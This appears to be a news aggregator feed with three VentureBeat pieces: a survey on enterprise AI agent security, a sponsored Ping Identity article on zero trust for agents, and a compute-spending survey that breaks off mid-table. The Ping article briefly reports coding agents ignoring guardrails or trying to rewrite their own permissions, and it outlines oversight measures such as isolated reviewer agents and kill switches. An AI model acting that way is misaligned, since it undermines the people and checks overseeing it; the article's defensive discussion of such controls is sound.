agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[Zero trust must now move at agent speed]]></title>
<description><![CDATA[Presented by Ping Identity Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system...]]></description>
<link>https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</link>
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<pubDate>Thu, 16 Jul 2026 20:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Ping Identity </i></p><hr><p>Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.</p><p><span>type: <!-- -->embedded-entry-inline<!-- --> id: <!-- -->1Ieiy1KhHNWZE5KVqNdA1G</span></p><p>That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.</p><p>"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."</p><h2>Why zero trust is now urgent for agentic AI</h2><p>That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.</p><p>"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."</p><h2>Why agents must be treated as first-class identities</h2><p>That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. </p><p>"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."</p><p>And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.</p><h2>Where enterprises can enforce zero trust policies</h2><p>Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.</p><p>"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.</p><p>The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.</p><h2>Stopping AI agents from rewriting their own permissions</h2><p>That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.</p><p>"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."</p><h2>How to trust AI-generated output at agent speed</h2><p>The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.</p><p>"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."</p><p>In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. </p><p>For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.</p><h2>What to ask when evaluating agentic identity platforms</h2><p>For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.</p><p>"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."</p><p>And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3674337/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
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<pubDate>Thu, 16 Jul 2026 20:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>are experimenting — running proofs of concept, not yet in production</b></p></td></tr><tr><td><p><b>37%</b></p></td><td><p><b>have some workloads in production, but not across the organization</b></p></td></tr><tr><td><p><b>21%</b></p></td><td><p><b>run AI in production at scale — the mature minority</b></p></td></tr><tr><td><p><b>4%</b></p></td><td><p><b>are not yet running AI workloads at all</b></p></td></tr></tbody></table><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><table><tbody><tr><td><p><b>48%</b></p></td><td><p><b>use Google Cloud — the most-used platform overall (Microsoft Azure 29%, AWS 22%, Oracle Cloud 22%)</b></p></td></tr><tr><td><p><b>41%</b></p></td><td><p><b>use Google’s Gemini models, with OpenAI close behind at 40% and Anthropic at 12%</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>run their own on-prem or co-located GPU clusters; 4% a custom open-source self-managed stack</b></p></td></tr><tr><td><p><b>&lt;2%</b></p></td><td><p><b>each use the specialized AI clouds — CoreWeave, Lambda, Crusoe, Nebius, Together, Fireworks and peers</b></p></td></tr></tbody></table><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><table><tbody><tr><td><p><b>45%</b></p></td><td><p><b>AI-specialized clouds (CoreWeave, Lambda, Crusoe, Nebius) — the top planned evaluation area</b></p></td></tr><tr><td><p><b>32%</b></p></td><td><p><b>non-NVIDIA accelerators (AWS Trainium, Google TPU, AMD Instinct, Intel Gaudi, in-house ASICs)</b></p></td></tr><tr><td><p><b>28%</b></p></td><td><p><b>Nvidia Blackwell (GB300) / next-generation GPUs</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>decentralized or distributed compute networks</b></p></td></tr><tr><td><p><b>11%</b></p></td><td><p><b>sovereign or region-specific compute; 9% say none of the above</b></p></td></tr></tbody></table><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>plan to change within the next 0–3 months — tied for the most common answer</b></p></td></tr><tr><td><p><b>36%</b></p></td><td><p><b>have no plans to change</b></p></td></tr><tr><td><p><b>22%</b></p></td><td><p><b>plan to change within 3–6 months</b></p></td></tr><tr><td><p><b>7%</b></p></td><td><p><b>plan to change within 6–12 months</b></p></td></tr></tbody></table><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><table><tbody><tr><td><p><b>41%</b></p></td><td><p><b>integration with the existing cloud and data stack — the top factor</b></p></td></tr><tr><td><p><b>35%</b></p></td><td><p><b>total cost of ownership (TCO)</b></p></td></tr><tr><td><p><b>24%</b></p></td><td><p><b>performance — latency and throughput</b></p></td></tr><tr><td><p><b>19%</b></p></td><td><p><b>each cite security/compliance, autoscaling for spiky workloads, and GPU access/availability</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>cost per 1M tokens — the least-cited factor</b></p></td></tr></tbody></table><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><table><tbody><tr><td><p><b>37%</b></p></td><td><p><b>run at 26–50% utilization</b></p></td></tr><tr><td><p><b>34%</b></p></td><td><p><b>run at 10–25% utilization</b></p></td></tr><tr><td><p><b>15%</b></p></td><td><p><b>run under 10% utilization</b></p></td></tr><tr><td><p><b>12%</b></p></td><td><p><b>run over 50% — the efficient minority</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>don’t measure utilization at all; a further 7% consume via API and run no GPUs of their own</b></p></td></tr></tbody></table><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><table><tbody><tr><td><p><b>44%</b></p></td><td><p><b>track compute cost and ROI rigorously</b></p></td></tr><tr><td><p><b>39%</b></p></td><td><p><b>track it only partially</b></p></td></tr><tr><td><p><b>20%</b></p></td><td><p><b>can’t quantify it yet</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>say it isn’t a priority</b></p></td></tr></tbody></table><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2><b>Finding 8: The next bottleneck few are watching</b></h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><table><tbody><tr><td><p><b>31%</b></p></td><td><p><b>would rely on Dell (PowerScale / Project Lightning) — the leading single answer</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>would rely on Nvidia (Dynamo / 